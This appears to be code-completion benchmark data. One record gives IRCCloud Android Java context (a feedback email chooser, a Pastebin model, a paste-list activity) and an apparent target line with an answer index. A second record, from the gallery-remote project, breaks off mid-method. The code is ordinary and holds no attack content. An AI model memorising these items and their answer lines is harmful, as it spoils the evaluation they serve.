\"IRCCloud for Android\");\n\n List<ResolveInfo> resolveInfos = ctx.getPackageManager().queryIntentActivities(email, 0);\n List<LabeledIntent> intents = new ArrayList<>();\n for (ResolveInfo info : resolveInfos) {\n Intent intent = new Intent(Intent.ACTION_SEND);\n intent.setComponent(new ComponentName(info.activityInfo.packageName, info.activityInfo.name));\n intent.setType(\"message/rfc822\");\n intent.putExtra(Intent.EXTRA_EMAIL, new String[]{\"IRCCloud Team <team@irccloud.com>\"});\n intent.putExtra(Intent.EXTRA_TEXT, bugReport);\n intent.putExtra(Intent.EXTRA_SUBJECT, \"IRCCloud for Android\");\n intent.putExtra(Intent.EXTRA_STREAM, FileProvider.getUriForFile(ctx, ctx.getPackageName() + \".fileprovider\", output));\n intents.add(new LabeledIntent(intent, info.activityInfo.packageName, info.loadLabel(ctx.getPackageManager()), info.icon));\n }\n Intent chooser = Intent.createChooser(intents.remove(intents.size() - 1), \"Send Feedback:\");\n chooser.putExtra(Intent.EXTRA_INITIAL_INTENTS, intents.toArray(new LabeledIntent[intents.size()]));\n ctx.startActivity(chooser);\n } catch (Exception e) {\n Toast.makeText(ctx, \"Unable to generate email report: \" + e.getMessage(), Toast.LENGTH_SHORT).show();\n IRCCloudLog.LogException(e);\n NetworkConnection.printStackTraceToCrashlytics(e);\n }\n }\n}", "public abstract class OnErrorListener<T> {\n abstract public void onSuccess(T object);\n abstract public void onFailure(T object);\n}", "public class Pastebin extends BaseObservable implements Serializable {\n private static HashMap<String, String> fileTypes = new HashMap<>();\n private static HashMap<String, String> fileTypesMap = new HashMap<String, String>() {{\n put(\"ABAP\", \"abap\");\n put(\"ActionScript\",\"as\");\n put(\"ADA\", \"ada|adb\");\n put(\"Apache Conf\", \"^htaccess|^htgroups|^htpasswd|^conf|htaccess|htgroups|htpasswd\");\n put(\"AsciiDoc\", \"asciidoc\");\n put(\"Assembly_x86\",\"asm\");\n put(\"AutoHotKey\", \"ahk\");\n put(\"BatchFile\", \"bat|cmd\");\n put(\"C9Search\", \"c9search_results\");\n put(\"C/C++\", \"cpp|c|cc|cxx|h|hh|hpp\");\n put(\"Cirru\", \"cirru|cr\");\n put(\"Clojure\", \"clj|cljs\");\n put(\"Cobol\", \"cbl|cob\");\n put(\"CoffeeScript\",\"coffee|cf|cson|^cakefile\");\n put(\"ColdFusion\", \"cfm\");\n put(\"C#\", \"cs\");\n put(\"CSS\", \"css\");\n put(\"Curly\", \"curly\");\n put(\"D\", \"d|di\");\n put(\"Dart\", \"dart\");\n put(\"Diff\", \"diff|patch\");\n put(\"Dockerfile\", \"^dockerfile\");\n put(\"Dot\", \"dot\");\n put(\"Erlang\", \"erl|hrl\");\n put(\"EJS\", \"ejs\");\n put(\"Forth\", \"frt|fs|ldr\");\n put(\"FreeMarker\", \"ftl\");\n put(\"Gherkin\", \"feature\");\n put(\"Gitignore\", \"^.gitignore\");\n put(\"Glsl\", \"glsl|frag|vert\");\n put(\"Go\", \"go\");\n put(\"Groovy\", \"groovy\");\n put(\"HAML\", \"haml\");\n put(\"Handlebars\", \"hbs|handlebars|tpl|mustache\");\n put(\"Haskell\", \"hs\");\n put(\"haXe\", \"hx\");\n put(\"HTML\", \"html|htm|xhtml\");\n put(\"HTML (Ruby)\", \"erb|rhtml|html.erb\");\n put(\"INI\", \"ini|conf|cfg|prefs\");\n put(\"Jack\", \"jack\");\n put(\"Jade\", \"jade\");\n put(\"Java\", \"java\");\n put(\"JavaScript\", \"js|jsm\");\n put(\"JSON\", \"json\");\n put(\"JSONiq\", \"jq\");\n put(\"JSP\", \"jsp\");\n put(\"JSX\", \"jsx\");\n put(\"Julia\", \"jl\");\n put(\"LaTeX\", \"tex|latex|ltx|bib\");\n put(\"LESS\", \"less\");\n put(\"Liquid\", \"liquid\");\n put(\"Lisp\", \"lisp\");\n put(\"LiveScript\", \"ls\");\n put(\"LogiQL\", \"logic|lql\");\n put(\"LSL\", \"lsl\");\n put(\"Lua\", \"lua\");\n put(\"LuaPage\", \"lp\");\n put(\"Lucene\", \"lucene\");\n put(\"Makefile\", \"makefile|gnumakefile|ocamlmakefile|make\");\n put(\"MATLAB\", \"matlab\");\n put(\"Markdown\", \"md|markdown\");\n put(\"MEL\", \"mel\");\n put(\"MySQL\", \"mysql\");\n put(\"MUSHCode\", \"mc|mush\");\n put(\"Nix\", \"nix\");\n put(\"Objective-C\", \"m|mm\");\n put(\"OCaml\", \"ml|mli\");\n put(\"Pascal\", \"pas|p\");\n put(\"Perl\", \"pl|pm\");\n put(\"pgSQL\", \"pgsql\");\n put(\"PHP\", \"php|phtml\");\n put(\"Powershell\", \"ps1\");\n put(\"Prolog\", \"plg|prolog\");\n put(\"Properties\", \"properties\");\n put(\"Protobuf\", \"proto\");\n put(\"Python\", \"py\");\n put(\"R\", \"r\");\n put(\"RDoc\", \"rd\");\n put(\"RHTML\", \"rhtml\");\n put(\"Ruby\", \"rb|ru|gemspec|rake|^guardfile|^rakefile|^gemfile\");\n put(\"Rust\", \"rs\");\n put(\"SASS\", \"sass\");\n put(\"SCAD\", \"scad\");\n put(\"Scala\", \"scala\");\n put(\"Smarty\", \"smarty|tpl\");\n put(\"Scheme\", \"scm|rkt\");\n put(\"SCSS\", \"scss\");\n put(\"SH\", \"sh|bash|bashrc\");\n put(\"SJS\", \"sjs\");\n put(\"Space\", \"space\");\n put(\"snippets\", \"snippets\");\n put(\"Soy Template\",\"soy\");\n put(\"SQL\", \"sql\");\n put(\"Stylus\", \"styl|stylus\");\n put(\"SVG\", \"svg\");\n put(\"Tcl\", \"tcl\");\n put(\"Tex\", \"tex\");\n put(\"Text\", \"txt\");\n put(\"Textile\", \"textile\");\n put(\"Toml\", \"toml\");\n put(\"Twig\", \"twig\");\n put(\"Typescript\", \"ts|typescript|str\");\n put(\"Vala\", \"vala\");\n put(\"VBScript\", \"vbs\");\n put(\"Velocity\", \"vm\");\n put(\"Verilog\", \"v|vh|sv|svh\");\n put(\"XML\", \"xml|rdf|rss|wsdl|xslt|atom|mathml|mml|xul|xbl\");\n put(\"XQuery\", \"xq\");\n put(\"YAML\", \"yaml|yml\");\n }};\n\n private static final long serialVersionUID = 0L;\n\n private String id;\n private String name;\n private String url;\n private int lines;\n private Date date;\n private String date_formatted;\n private String body;\n private String extension;\n private boolean own_paste;\n\n private OnErrorListener<Pastebin> onSaveListener = null;\n private OnErrorListener<Pastebin> onDeleteListener = null;\n\n public Pastebin() {\n\n }\n\n public Pastebin(JSONObject o) throws JSONException {\n setId(o.getString(\"id\"));\n setName(o.getString(\"name\"));\n setBody(o.getString(\"body\"));\n setExtension(o.getString(\"extension\"));\n setLines(o.getInt(\"lines\"));\n setOwn_paste(o.getBoolean(\"own_paste\"));\n setDate(new Date(o.getLong(\"date\") * 1000L));\n setUrl(UriTemplate.fromTemplate(NetworkConnection.pastebin_uri_template).set(\"id\", id).set(\"name\", name).expand());\n }\n\n @Bindable\n public String getFileType() {\n String fileType = \"Text\";\n if(extension != null && extension.length() > 0) {\n if (fileTypes.containsKey(extension.toLowerCase())) {\n fileType = fileTypes.get(extension.toLowerCase());\n } else {\n String lower = extension.toLowerCase();\n for(String type : fileTypesMap.keySet()) {\n if(lower.matches(fileTypesMap.get(type))) {\n fileType = type;\n }\n }\n fileTypes.put(lower, fileType);\n }\n }\n return fileType;\n }\n\n @Bindable\n public String getMetadata() {\n return date_formatted + \" • \" + lines + \" line\" + (lines == 1?\"\":\"s\") + \" • \" + getFileType();\n }\n\n @Bindable\n public String getId() {\n return id;\n }\n\n public void setId(String id) {\n this.id = id;\n notifyPropertyChanged(BR.id);\n }\n\n @Bindable\n public String getName() {\n return name;\n }\n\n public void setName(String name) {\n this.name = name;\n notifyPropertyChanged(BR.name);\n }\n\n @Bindable\n public String getUrl() {\n return url;\n }\n\n public void setUrl(String url) {\n this.url = url;\n notifyPropertyChanged(BR.url);\n }\n\n @Bindable\n public int getLines() {\n return lines;\n }\n\n public void setLines(int lines) {\n this.lines = lines;\n notifyPropertyChanged(BR.lines);\n notifyPropertyChanged(BR.metadata);\n }\n\n @Bindable\n public Date getDate() {\n return date;\n }\n\n public void setDate(Date date) {\n this.date = date;\n this.date_formatted = DateUtils.getRelativeTimeSpanString(date.getTime(), System.currentTimeMillis(), DateUtils.SECOND_IN_MILLIS, 0).toString();\n notifyPropertyChanged(BR.date);\n notifyPropertyChanged(BR.metadata);\n }\n\n @Bindable\n public String getBody() {\n return body;\n }\n\n public void setBody(String body) {\n this.body = body;\n notifyPropertyChanged(BR.body);\n }\n\n @Bindable\n public String getExtension() {\n return extension;\n }\n\n public void setExtension(String extension) {\n this.extension = extension;\n notifyPropertyChanged(BR.extension);\n notifyPropertyChanged(BR.metadata);\n }\n\n @Bindable\n public boolean isOwn_paste() {\n return own_paste;\n }\n\n public void setOwn_paste(boolean own_paste) {\n this.own_paste = own_paste;\n notifyPropertyChanged(BR.own_paste);\n }\n\n public static Pastebin fetch(String pasteID) throws IOException {\n try {\n JSONObject o = NetworkConnection.getInstance().fetchJSON(UriTemplate.fromTemplate(NetworkConnection.pastebin_uri_template).set(\"id\", pasteID).set(\"type\", \"json\").expand());\n if(o != null) {\n return new Pastebin(o);\n }\n } catch (JSONException e) {\n NetworkConnection.printStackTraceToCrashlytics(e);\n }\n return null;\n }\n\n public void save(OnErrorListener<Pastebin> onErrorListener) {\n this.onSaveListener = onErrorListener;\n\n NetworkConnection.IRCResultCallback callback = new NetworkConnection.IRCResultCallback() {\n @Override\n public void onIRCResult(IRCCloudJSONObject result) {\n if(result.getBoolean(\"success\")) {\n ObjectNode o = result.getJsonObject(\"paste\");\n if(o == null && result.has(\"id\"))\n o = (ObjectNode)result.getObject();\n if(o != null) {\n setId(o.get(\"id\").asText());\n setName(o.get(\"name\").asText());\n setBody(o.get(\"body\").asText());\n setExtension(o.get(\"extension\").asText());\n setLines(o.get(\"lines\").asInt());\n setOwn_paste(o.get(\"own_paste\").asBoolean());\n setDate(new Date(o.get(\"date\").asLong() * 1000L));\n setUrl(o.get(\"url\").asText());\n }\n if(onSaveListener != null)\n onSaveListener.onSuccess(Pastebin.this);\n } else {\n android.util.Log.e(\"IRCCloud\", \"Paste failed: \" + result.toString());\n if(onSaveListener != null)\n onSaveListener.onFailure(Pastebin.this);\n }\n }\n };\n\n if(id != null && id.length() > 0) {\n NetworkConnection.getInstance().edit_paste(id, name, extension, body, callback);\n } else {\n NetworkConnection.getInstance().paste(name, extension, body, callback);\n }\n }\n\n public void delete(OnErrorListener<Pastebin> onErrorListener) {\n this.onSaveListener = onErrorListener;\n\n NetworkConnection.getInstance().delete_paste(id, new NetworkConnection.IRCResultCallback() {\n @Override\n public void onIRCResult(IRCCloudJSONObject result) {\n if(result.getBoolean(\"success\")) {\n if(onDeleteListener != null)\n onDeleteListener.onSuccess(Pastebin.this);\n } else {\n android.util.Log.e(\"IRCCloud\", \"Paste delete failed: \" + result.toString());\n if(onDeleteListener != null)\n onDeleteListener.onFailure(Pastebin.this);\n }\n }\n });\n }\n}" ]
import android.content.DialogInterface; import android.content.Intent; import android.graphics.PorterDuff; import android.net.Uri; import android.os.Bundle; import android.util.Log; import android.util.TypedValue; import android.view.Menu; import android.view.MenuItem; import android.view.View; import android.view.ViewGroup; import android.view.WindowManager; import android.widget.AbsListView; import android.widget.AdapterView; import android.widget.BaseAdapter; import android.widget.ListView; import android.widget.TextView; import android.widget.Toast; import androidx.appcompat.app.AlertDialog; import androidx.appcompat.widget.Toolbar; import com.irccloud.android.AsyncTaskEx; import com.irccloud.android.ColorScheme; import com.irccloud.android.NetworkConnection; import com.irccloud.android.R; import com.irccloud.android.data.OnErrorListener; import com.irccloud.android.data.model.Pastebin; import com.irccloud.android.databinding.RowPastebinBinding; import org.json.JSONArray; import org.json.JSONException; import org.json.JSONObject; import java.io.IOException; import java.util.ArrayList;
/* * Copyright (c) 2015 IRCCloud, Ltd. * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ package com.irccloud.android.activity; public class PastebinsActivity extends BaseActivity { private int page = 0; private PastebinsAdapter adapter = new PastebinsAdapter(); private boolean canLoadMore = true; private View footer; private class PastebinsAdapter extends BaseAdapter { private ArrayList<Pastebin> pastebins = new ArrayList<>(); public void clear() { pastebins.clear(); notifyDataSetInvalidated(); } public void saveInstanceState(Bundle state) { state.putSerializable("adapter", pastebins.toArray(new Pastebin[pastebins.size()])); } public void addPastebin(Pastebin p) { pastebins.add(p); } @Override public int getCount() { return pastebins.size(); } @Override public Object getItem(int i) { return pastebins.get(i); } @Override public long getItemId(int i) { return i; } private View.OnClickListener deleteClickListener = new View.OnClickListener() { @Override public void onClick(View view) { final Pastebin pasteToDelete = (Pastebin)getItem((Integer)view.getTag()); AlertDialog.Builder builder = new AlertDialog.Builder(PastebinsActivity.this); builder.setTitle("Delete Snippet"); if(pasteToDelete.getName() != null && pasteToDelete.getName().length() > 0) { builder.setMessage("Are you sure you want to delete '" + pasteToDelete.getName() + "'?"); } else { builder.setMessage("Are you sure you want to delete this snippet?"); } builder.setPositiveButton("Delete", new DialogInterface.OnClickListener() { @Override public void onClick(DialogInterface dialogInterface, int i) { pasteToDelete.delete(new OnErrorListener<Pastebin>() { @Override public void onSuccess(final Pastebin object) { runOnUiThread(new Runnable() { @Override public void run() { adapter.pastebins.remove(object); adapter.notifyDataSetChanged(); checkEmpty(); } }); } @Override public void onFailure(Pastebin object) { runOnUiThread(new Runnable() { @Override public void run() { AlertDialog.Builder builder = new AlertDialog.Builder(PastebinsActivity.this); builder.setTitle("Error"); builder.setMessage("Unable to delete this snippet. Please try again shortly."); builder.setPositiveButton("Close", null); if(!isFinishing()) builder.show(); } }); } }); pastebins.remove(pasteToDelete); notifyDataSetChanged(); } }); builder.setNegativeButton("Cancel", new DialogInterface.OnClickListener() { @Override public void onClick(DialogInterface dialogInterface, int i) { dialogInterface.dismiss(); } }); AlertDialog d = builder.create(); d.setOwnerActivity(PastebinsActivity.this); if(!isFinishing()) d.show(); } }; @Override public View getView(int i, View view, ViewGroup viewGroup) { RowPastebinBinding binding; if (view == null || view.getTag() == null) { binding = RowPastebinBinding.inflate(getLayoutInflater(), viewGroup, false); } else { binding = (RowPastebinBinding)view.getTag(); } binding.setPastebin(pastebins.get(i)); binding.delete.setOnClickListener(deleteClickListener); binding.delete.setColorFilter(ColorScheme.getInstance().colorControlNormal, PorterDuff.Mode.SRC_ATOP); binding.delete.setTag(i); binding.executePendingBindings(); return binding.getRoot(); } } private class FetchPastebinsTask extends AsyncTaskEx<Void, Void, JSONObject> { @Override protected void onPreExecute() { super.onPreExecute(); canLoadMore = false; } @Override protected JSONObject doInBackground(Void... params) { try { Thread.currentThread().setPriority(Thread.MIN_PRIORITY);
return NetworkConnection.getInstance().pastebins(++page);
2
gallery/gallery-remote
com/gallery/GalleryRemote/GRAppletSlideshow.java
[ "public class GRI18n implements PreferenceNames {\n\tprivate static final String RESNAME =\n\t\t\t\"com.gallery.GalleryRemote.resources.GRResources\";\n\tprivate static final String RESNAME_DEV =\n\t\t\t\"GRResources\";\n\tprivate static final String RESPATH =\n\t\t\t\"com/gallery/GalleryRemote/resources/GRResources\";\n\tprivate static final String MODULE = \"GRI18n\";\n\n\tprivate static Locale grLocale;\n\tprivate static ResourceBundle grResBundle;\n\tprivate static HashMap formats = new HashMap();\n\n\tprivate static List lAvailLoc = null;\n\n\tprivate static boolean devMode = false;\n\tprivate static Properties devResProperties = null;\n\n\tstatic {\n\t\tString myLocale = GalleryRemote._().properties.getProperty(UI_LOCALE);\n\t\tdevMode = GalleryRemote._().properties.getBooleanProperty(UI_LOCALE_DEV);\n\n\t\tgrLocale = parseLocaleString(myLocale);\n\n\t\tLog.log(Log.LEVEL_INFO, MODULE, grLocale.toString());\n\n\t\tsetResBundle();\n\t}\n\n\tpublic static Locale parseLocaleString(String localeString) {\n\t\tif (localeString == null) {\n\t\t\treturn Locale.getDefault();\n\t\t} else {\n\t\t\tint i = localeString.indexOf(\"_\");\n\n\t\t\tif (i != -1) {\n\t\t\t\treturn new Locale(localeString.substring(0, i), localeString.substring(i + 1));\n\t\t\t} else {\n\t\t\t\treturn new Locale(localeString, \"\");\n\t\t\t}\n\t\t}\n\t}\n\n\n\tpublic static void setLocale(String language, String country) {\n\t\tgrLocale = new Locale(language, country);\n\t\tsetResBundle();\n\t}\n\n\n\tpublic static String getString(String className, String key) {\n\t\tString msg;\n\t\tString extKey = className + \".\" + key;\n\t\ttry {\n\t\t\tmsg = grResBundle.getString(extKey);\n\n\t\t\tif (devResProperties != null && devResProperties.getProperty(extKey) == null) {\n\t\t\t\tif (msg.startsWith(\"<html>\")) {\n\t\t\t\t\tmsg = \"<html>***\" + msg.substring(6);\n\t\t\t\t} else {\n\t\t\t\t\tmsg = \"***\" + msg;\n\t\t\t\t}\n\t\t\t}\n\t\t} catch (NullPointerException e) {\n\t\t\tLog.log(Log.LEVEL_ERROR, MODULE, \"Key null error\");\n\t\t\tLog.logException(Log.LEVEL_ERROR, MODULE, e);\n\t\t\tmsg = \"[NULLKEY]\";\n\t\t} catch (MissingResourceException e) {\n\t\t\tLog.log(Log.LEVEL_INFO, MODULE, \"Key [\" + extKey + \"] not defined\");\n\t\t\tLog.logException(Log.LEVEL_INFO, MODULE, e);\n\t\t\tmsg = \"[\" + extKey + \"]\";\n\t\t}\n\n\t\treturn msg;\n\t}\n\n\n\tpublic static String getString(String className, String key, Object[] params) {\n\t\tString msg;\n\t\tString extKey = className + \".\" + key;\n\t\ttry {\n\t\t\tMessageFormat format = (MessageFormat) formats.get(extKey);\n\t\t\tif (format == null) {\n\t\t\t\tformat = new MessageFormat(fixQuotes(grResBundle.getString(extKey)), grLocale);\n\t\t\t\tformats.put(extKey, format);\n\t\t\t}\n\t\t\tmsg = format.format(params);\n\n\t\t\tif (devResProperties != null && devResProperties.getProperty(extKey) == null) {\n\t\t\t\tif (msg.startsWith(\"<html>\")) {\n\t\t\t\t\tmsg = \"<html>***\" + msg.substring(6);\n\t\t\t\t} else {\n\t\t\t\t\tmsg = \"***\" + msg;\n\t\t\t\t}\n\t\t\t}\n\t\t} catch (NullPointerException e) {\n\t\t\tLog.log(Log.LEVEL_ERROR, MODULE, \"Key null error\");\n\t\t\tLog.logException(Log.LEVEL_ERROR, MODULE, e);\n\t\t\tmsg = \"[NULLKEY]\";\n\t\t} catch (MissingResourceException e) {\n\t\t\tLog.log(Log.LEVEL_INFO, MODULE, \"Key [\" + extKey + \"] not defined\");\n\t\t\tLog.logException(Log.LEVEL_INFO, MODULE, e);\n\t\t\tmsg = \"[\" + extKey + \"]\";\n\t\t}\n\n\t\treturn msg;\n\t}\n\n\tpublic static String fixQuotes(String s) {\n\t\tStringBuffer sb = new StringBuffer();\n\t\tfor (int i = 0; i < s.length(); i++) {\n\t\t\tchar c = s.charAt(i);\n\t\t\tif (c == '\\'') {\n\t\t\t\tsb.append(\"''\");\n\t\t\t} else {\n\t\t\t\tsb.append(c);\n\t\t\t}\n\t\t}\n\n\t\treturn sb.toString();\n\t}\n\n\tpublic static Locale getCurrentLocale() {\n\t\treturn grLocale;\n\t}\n\n\n\tprivate static void setResBundle() {\n\t\ttry {\n\t\t\tgrResBundle = ResourceBundle.getBundle(devMode?RESNAME_DEV:RESNAME, grLocale);\n\n\t\t\tif (devMode) {\n\t\t\t\tdevResProperties = getLocaleProperties(grLocale);\n\t\t\t}\n\t\t} catch (MissingResourceException e) {\n\t\t\tLog.log(Log.LEVEL_ERROR, MODULE, \"Resource bundle error\");\n\t\t\tLog.logException(Log.LEVEL_ERROR, MODULE, e);\n\t\t}\n\t}\n\n\tpublic static Properties getLocaleProperties(Locale locale) {\n\t\tProperties p = new Properties();\n\t\tString filename;\n\t\tif (locale == null) {\n\t\t\tfilename = (devMode?RESNAME_DEV:RESPATH) + \".properties\";\n\t\t} else {\n\t\t\tfilename = (devMode?RESNAME_DEV:RESPATH) + \"_\" + locale.toString() + \".properties\";\n\t\t}\n\t\tInputStream is = ClassLoader.getSystemClassLoader().getResourceAsStream(filename);\n\t\tif (is != null) {\n\t\t\ttry {\n\t\t\t\tp.load(is);\n\t\t\t} catch (IOException e) {\n\t\t\t\tLog.logException(Log.LEVEL_ERROR, MODULE, e);\n\t\t\t}\n\t\t} else {\n\t\t\tLog.log(Log.LEVEL_ERROR, MODULE, \"No file for \" + filename);\n\t\t}\n\n\t\treturn p;\n\t}\n\n\n\tpublic static List getAvailableLocales() {\n\t\tif (lAvailLoc == null)\n\t\t\tlAvailLoc = initAvailableLocales();\n\t\treturn lAvailLoc;\n\t}\n\n\tprivate static List initAvailableLocales() {\n\t\tString locPath;\n\t\tString loc;\n\t\tList aList = new LinkedList();\n\t\tlong start = System.currentTimeMillis();\n\n\t\t// todo: it seems that the dialog can't be displayed because all this\n\t\t// is running in the Swing event thread. Need to find a better way...\n//\t\tJDialog dialog = new JDialog(GalleryRemote.getInstance().mainFrame, \"Please wait...\");\n//\t\tdialog.getContentPane().add(\"Center\", new JLabel(\"<HTML>Parsing list of locales for this platform.\" +\n//\t\t\t\t\"<br>This can take between 1 and 10 seconds...\"));\n//\t\tdialog.pack();\n//\t\tDialogUtil.center(dialog);\n//\t\tdialog.setVisible(true);\n//\t\tThread.yield();\n\n\t\tLog.log(Log.LEVEL_TRACE, MODULE, \"Getting the list of locales\");\n\n\t\t// this call is apparently very slow...\n\t\tLocale[] list = Locale.getAvailableLocales();\n\n\t\tLog.log(Log.LEVEL_TRACE, MODULE, \"The platform supports \" + list.length + \" locales. Pruning...\");\n\n\t\tString prefix = \"##DUMMY\";\n\t\tfor (int i = 0; i < list.length; i++) {\n\t\t\tloc = list[i].toString();\n\n\t\t\t// perf optimization: don't go through all the regions if the main language was not found\n\t\t\tif (!loc.startsWith(prefix)) {\n\t\t\t\tprefix = loc;\n\t\t\t\tif (devMode) {\n\t\t\t\t\tLog.log(Log.LEVEL_TRACE, MODULE, \"Trying locale: \" + loc);\n\t\t\t\t}\n\n\t\t\t\tlocPath = (devMode?RESNAME_DEV:RESPATH) + \"_\" + loc + \".properties\";\n\t\t\t\tif (ClassLoader.getSystemClassLoader().getResource(locPath) != null) {\n\t\t\t\t\tLog.log(Log.LEVEL_INFO, MODULE, \"Found locale: \" + loc);\n\t\t\t\t\taList.add(list[i]);\n\t\t\t\t\tprefix = \"##DUMMY\";\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\n\t\tLog.log(Log.LEVEL_TRACE, MODULE, \"Pruned locales in \" + (System.currentTimeMillis() - start) + \"ms\");\n\t\t//dialog.setVisible(false);\n\n\t\treturn aList;\n\t}\n\n\t/*class PatienceDialog extends JDialog implements Runnable {\n\t\tpublic boolean done = false;\n\n\t\tpublic void run() {\n\t\t\ttry {\n\t\t\t\tThread.sleep(1000);\n\n\n\t\t\t} catch (InterruptedException e) {}\n\t\t}\n\t}*/\n}", "public class ImageUtils {\n\tpublic static final String MODULE = \"ImageUtils\";\n\n\tstatic ArrayList toDelete = new ArrayList();\n\tstatic long totalTime = 0;\n\tstatic int totalIter = 0;\n\n\tpublic static boolean useIM = false;\n\tstatic String imPath = null;\n\tstatic int jpegQuality = 75;\n\tstatic boolean imIgnoreErrorCode = false;\n\n\tpublic static boolean useJpegtran = false;\n\tpublic static boolean useJpegtranCrop = false;\n\tstatic String jpegtranPath = null;\n\tstatic boolean jpegtranIgnoreErrorCode = false;\n\n\tstatic File tmpDir = null;\n\n\tpublic static final int THUMB = 0;\n\tpublic static final int PREVIEW = 1;\n\tpublic static final int UPLOAD = 2;\n\n\tstatic String[] filterName = new String[3];\n\tstatic String[] format = new String[3];\n\n\tpublic final static String DEFAULT_RESOURCE = \"/default.gif\";\n\tpublic final static String UNRECOGNIZED_RESOURCE = \"/default.gif\";\n\n\tpublic static Image defaultThumbnail = null;\n\tpublic static Image unrecognizedThumbnail = null;\n\n\tpublic static boolean deferredStopUsingIM = false;\n\tpublic static boolean deferredStopUsingJpegtran = false;\n\tpublic static boolean deferredStopUsingJpegtranCrop = false;\n\tpublic static boolean deferredOutOfMemory = false;\n\n\tpublic static ImageObserver observer = new ImageObserver() {\n\t\tpublic boolean imageUpdate(Image img, int infoflags, int x, int y, int width, int height) {\n\t\t\treturn false;\n\t\t}\n\t};\n\tpublic static final String APERTURE_TO_GALLERY_SCPT = \"ApertureToGallery.applescript\";\n\n\tpublic static Image load(String filename, Dimension d, int usage) {\n\t\treturn load(filename, d, usage, false);\n\t}\n\n\tpublic static Image load(String filename, Dimension d, int usage, boolean ignoreFailure) {\n\t\tif (!new File(filename).exists()) {\n\t\t\treturn null;\n\t\t}\n\n\t\tImage r = null;\n\t\tlong start = System.currentTimeMillis();\n\n\t\tif (!GalleryFileFilter.canManipulate(filename)) {\n\t\t\treturn unrecognizedThumbnail;\n\t\t}\n\n\t\tif (useIM) {\n\t\t\tArrayList cmd = new ArrayList();\n\t\t\tcmd.add(imPath);\n\n\t\t\tif (filterName[usage] != null && filterName[usage].length() > 0) {\n\t\t\t\t//cmdline.append(\" -filter \").append(filterName[usage]);\n\t\t\t\tcmd.add(\"-filter\");\n\t\t\t\tcmd.add(filterName[usage]);\n\t\t\t}\n\n\t\t\tcmd.add(filename);\n\n\t\t\tcmd.add(\"-resize\");\n\t\t\tif (GalleryRemote._().properties.getBooleanProperty(PreferenceNames.SLIDESHOW_NOSTRETCH)) {\n\t\t\t\tcmd.add(d.width + \"x\" + d.height + \">\");\n\t\t\t} else {\n\t\t\t\tcmd.add(d.width + \"x\" + d.height);\n\t\t\t}\n\n\t\t\tcmd.add(\"+profile\");\n\t\t\tcmd.add(\"*\");\n\n\t\t\tFile temp = deterministicTempFile(\"thumb\", \".\" + format[usage], tmpDir, filename + d);\n\n\t\t\tif (!temp.exists()) {\n\t\t\t\ttoDelete.add(temp);\n\n\t\t\t\tcmd.add(temp.getPath());\n\n\t\t\t\tint exitValue = exec((String[]) cmd.toArray(new String[0]));\n\n\t\t\t\tif ((exitValue != 0 && !imIgnoreErrorCode && !ignoreFailure) || ! temp.exists()) {\n\t\t\t\t\tif (exitValue != -1 && ! temp.exists()) {\n\t\t\t\t\t\t// don't kill IM if it's just an InterruptedException\n\t\t\t\t\t\tLog.log(Log.LEVEL_CRITICAL, MODULE, \"ImageMagick doesn't seem to be working. Disabling\");\n\t\t\t\t\t\tstopUsingIM();\n\t\t\t\t\t}\n\t\t\t\t} else {\n\t\t\t\t\ttry {\n\t\t\t\t\t\tr = ImageIO.read(temp);\n\t\t\t\t\t} catch (IOException e) {\n\t\t\t\t\t\tLog.logException(Log.LEVEL_ERROR, MODULE, e);\n\t\t\t\t\t} catch (Throwable e) {\n\t\t\t\t\t\tLog.logException(Log.LEVEL_ERROR, MODULE, e);\n\t\t\t\t\t\tLog.log(Log.LEVEL_ERROR, MODULE, \"Out of memory while loading image \" + temp);\n\t\t\t\t\t\toutOfMemoryError();\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t} else {\n\t\t\t\ttry {\n\t\t\t\t\tr = ImageIO.read(temp);\n\t\t\t\t} catch (IOException e) {\n\t\t\t\t\tLog.logException(Log.LEVEL_ERROR, MODULE, e);\n\t\t\t\t} catch (Throwable e) {\n\t\t\t\t\tLog.logException(Log.LEVEL_ERROR, MODULE, e);\n\t\t\t\t\tLog.log(Log.LEVEL_ERROR, MODULE, \"Out of memory while loading image \" + temp);\n\t\t\t\t\toutOfMemoryError();\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\n\t\tif (!useIM && r == null) {\n\t\t\tr = loadJava(filename, d, GalleryRemote._().properties.getBooleanProperty(PreferenceNames.SLIDESHOW_NOSTRETCH));\n\t\t}\n\n\t\tlong time = System.currentTimeMillis() - start;\n\t\ttotalTime += time;\n\t\ttotalIter++;\n\t\tLog.log(Log.LEVEL_TRACE, MODULE, \"Time: \" + time + \" - Avg: \" + (totalTime / totalIter));\n\n\t\treturn r;\n\t}\n\n\tpublic static Image loadJava(Object reference, Dimension d, boolean noStretch) {\n\t\ttry {\n\t\t\tImage r, scaled;\n\n\t\t\t//System.gc();\n\n\t\t\tif (reference instanceof String) {\n\t\t\t\tr = ImageIO.read(new File((String) reference));\n\t\t\t} else if (reference instanceof URL) {\n\t\t\t\tr = ImageIO.read((URL) reference);\n\t\t\t} else {\n\t\t\t\tthrow new IllegalArgumentException(\"loadJava can only be called with a URL or a filename\");\n\t\t\t}\n\n\t\t\tDimension newD = getSizeKeepRatio(\n\t\t\t\t\tnew Dimension(r.getWidth(observer), r.getHeight(observer)),\n\t\t\t\t\td, noStretch);\n\t\t\tif (newD == null) {\n\t\t\t\treturn r;\n\t\t\t}\n\n\t\t\tscaled = createResizedCopy(r, newD.width, newD.height, RenderingHints.VALUE_INTERPOLATION_BILINEAR);\n\t\t\tr.flush();\n\t\t\tr = null;\n\n\t\t\t//System.runFinalization();\n\t\t\t//System.gc();\n\n\t\t\treturn scaled;\n\t\t} catch (IOException e) {\n\t\t\tLog.logException(Log.LEVEL_ERROR, MODULE, e);\n\t\t\treturn null;\n\t\t} catch (Throwable e) {\n\t\t\tLog.logException(Log.LEVEL_ERROR, MODULE, e);\n\t\t\tLog.log(Log.LEVEL_ERROR, MODULE, \"Out of memory while loading image \" + reference);\n\t\t\toutOfMemoryError();\n\t\t\treturn null;\n\t\t}\n\t}\n\n\tpublic static File resize(String filename, Dimension d) {\n\t\treturn resize(filename, d, null, -1);\n\t}\n\n\tpublic static File resize(String filename, Dimension d, 